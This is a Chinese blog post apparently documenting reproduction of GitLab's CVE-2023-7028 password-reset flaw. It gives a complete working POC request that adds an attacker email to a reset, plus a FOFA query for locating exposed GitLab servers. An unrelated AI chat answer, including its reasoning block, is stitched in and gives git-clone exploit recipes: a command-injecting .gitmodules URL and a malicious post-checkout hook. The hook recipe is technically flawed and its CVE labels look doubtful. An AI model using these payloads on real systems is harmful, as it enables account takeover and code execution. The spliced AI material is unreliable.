漏洞复现--GitLab 任意用户密码重置漏洞(CVE-2023-7028)

本文报道了GitLab在2023年1月11日发现的CVE-2023-7028漏洞,攻击者可通过恶意请求获取密码重置链接。官方建议升级至最新版本或限制GitLab访问地址。复现方法和受影响版本范围也做了说明。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab 仅对可信地址开放。

二:漏洞影响版本

16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2

三:网络空间测绘查询

fofa:
app="GitLab"
image.png

四:漏洞复现

由于此漏洞利用条件为需获取系统已有用户注册邮箱地址,此次复现在本地搭建docker环境复现。
image.png
访问找回密码页面:/users/password/new,输入目标邮箱,抓包
image.png
image.png
POC:
user[email][]=mubiao@email.com&user[email][]=attacker@email.com
构造数据包,注意authenticity_token字段每次是不同的

POST /users/password HTTP/1.1
Host: 192.168.200.130:9980
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.200.130:9980
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.130:9980/users/password/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: preferred_language=zh_CN; 16.5.4-hide-alert-modal=true; known_sign_in=YlhGQWZqemF5Ri90bGh3WkZKdmQ0amtrSTVJdmtSTXRycWxQRjB3Tm1aTDczTnpmaGVLY1JPanZEdENQV3FRNmVsS3FWOG5YQzJIK2tpMytwMVV4MnZ1YlhUZFZzK2xHVVZ6TlAxWlJicjBDdmovdWpXVng1RzBYMlVtbENHV0ktLUhqYnNYM2pDM3pOdk1wN2wraGJLNVE9PQ%3D%3D--0ca69ec494c505a0cfec65e71a8c2315e444fcff; _gitlab_session=95c98f8c215016ce1c31bcd676c8c9d0
Connection: close

authenticity_token=XK1-wmJyvT2Jre1VEQ2ufEmR2GmsSju99_kJRgczjgIJArZH5yT2h44izgBfX0x0OW9VLtQbUz2yt9w--1wNag&user%5Bemail%5D=mubiao%40email.com&user%5Bemail%5D=attacker@email.com

image.png
跟随重定向
image.png
可以看到提示,如果两个邮箱都成功注册过,那么攻击者邮箱将会收到目标用户的重置密码邮件

<think>好的,用户想了解如何复现与git clone相关的漏洞,特别是需要教程或实验步骤。首先,我需要明确用户所指的git clone漏洞具体是哪些。常见的git相关漏洞可能包括远程代码执行、路径遍历或者提权漏洞等。 根据用户提供的引用资料,比如引用[1]、[2]、[3]都提到了使用git clone下载漏洞利用代码(POC),这说明用户可能关注的是通过git clone获取漏洞利用代码后进行复现的步骤。例如,Dirty Cow(CVE-2016-5195)和CVE-2021-3560这两个漏洞复现步骤中都涉及git clone操作。 接下来,我需要整理复现漏洞的一般流程。通常,复现漏洞的步骤包括环境准备、获取漏洞利用代码、编译或配置、执行漏洞利用、验证结果以及环境清理。每个步骤都需要详细说明,尤其是针对具体的漏洞案例,如Dirty Cow和CVE-2021-3560,需要分别给出具体的命令和操作步骤。 需要注意的是,用户提供的引用中有提到恶意RMI服务和反弹shell的命令,这可能涉及到Java反序列化漏洞或远程代码执行的情况,但用户的问题主要集中在git clone相关的漏洞,所以可能需要将重点放在通过git clone下载的漏洞利用代码的复现上。 同时,需要提醒用户注意安全,在隔离环境中进行测试,避免对真实系统造成影响。此外,要确保步骤中的命令正确无误,并解释每个步骤的作用,帮助用户理解背后的原理,而不仅仅是复制粘贴命令。 最后,生成相关问题时要围绕漏洞复现、原理分析、防御措施等方面展开,帮助用户进一步深入学习。</think>### git clone相关漏洞复现步骤 git clone本身作为代码下载工具,其相关漏洞通常涉及代码仓库中的恶意脚本或历史漏洞利用(如CVE-2018-11235)。以下是典型漏洞复现方法: --- #### 一、CVE-2018-11235(Git子模块RCE漏洞复现 **漏洞原理** 攻击者通过构造恶意.gitmodules文件,在git clone时触发子模块初始化过程中的命令注入[^1]。 **实验步骤** 1. **准备恶意仓库** ```bash mkdir malicious_repo && cd malicious_repo git init echo '[submodule "exploit"] path = exploit url = ssh://-oProxyCommand=echo${IFS}test>/tmp/pwned;/bin/sh # 注入命令 ' > .gitmodules git add .gitmodules git commit -m "Add malicious submodule" ``` 2. **受害者执行克隆** ```bash git clone --recurse-submodules ./malicious_repo target_dir ``` *若成功,会执行`echo test > /tmp/pwned`并在/tmp目录生成pwned文件* --- #### 二、恶意仓库提权漏洞复现(如CVE-2021-21300) **漏洞原理** 通过git钩子(如post-checkout)注入恶意代码,在用户执行git clone后自动触发[^2]。 **实验步骤** 1. **构建含恶意钩子的仓库** ```bash mkdir evil_hook && cd evil_hook git init echo '#!/bin/sh echo "Malicious code executed!" > /tmp/compromised ' > .git/hooks/post-checkout chmod +x .git/hooks/post-checkout git add . git commit -m "Add backdoor" ``` 2. **克隆并触发漏洞** ```bash git clone ./evil_hook victim_dir cd victim_dir git checkout -f # 触发post-checkout钩子 ``` *验证/tmp/compromised文件是否生成* --- #### 三、防御建议 1. 始终使用`git clone --no-recurse-submodules`避免子模块自动初始化 2. 检查.gitmodules文件中的URL是否可信 3. 定期更新Git客户端至最新版本 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芝士土包鼠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值